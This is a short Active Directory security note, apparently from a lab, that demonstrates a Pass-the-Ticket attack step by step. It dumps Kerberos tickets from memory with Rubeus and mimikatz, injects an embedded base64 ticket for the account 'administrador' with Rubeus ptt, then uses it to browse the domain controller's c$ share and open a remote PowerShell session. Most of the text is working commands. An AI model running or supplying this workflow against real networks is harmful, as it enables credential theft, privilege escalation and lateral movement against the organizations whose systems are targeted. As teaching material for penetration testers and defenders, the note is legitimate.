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# Pass-the-Ticket
Active Directory security notes for Pass-the-Ticket, covering enumeration, Kerberos, credentials, ACL abuse, lateral movement, exploitation workflow, and validation steps.
To display the Kerberos tickets associated with the current session, we can use `klist`.
```bash
klist
```
Tickets and session keys can then be extracted.
For example, if we launch a PowerShell under the account `administrador`, its tickets are loaded into memory.
We will then have in memory the TGT and the corresponding session key.
To extract them, you must have local administrator privileges.
We can then use `Rubeus`.
```bash
.\Rubeus.exe dump
```
This command displays all tickets in memory, including those from account `administrador`.
With `mimikatz` we can also extract tickets and session keys.
```bash
./mimikatz.exe
sekurlsa::tickets
```
Once the ticket is retrieved, we can inject it on another machine with `Rubeus`, even without local administrative rights on this target.
```bash
.\Rubeus.exe ptt /ticket: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
```
If we restart `klist`, we see that the loaded ticket indeed belongs to `administrador`.
```bash
klist
```
We can then access the resources of the domain controller.
```bash
dir //DC01/c$
```
With this ticket we can also open a remote session on other authorized machines.
```bash
Enter-PSSession -ComputerName DC01
```
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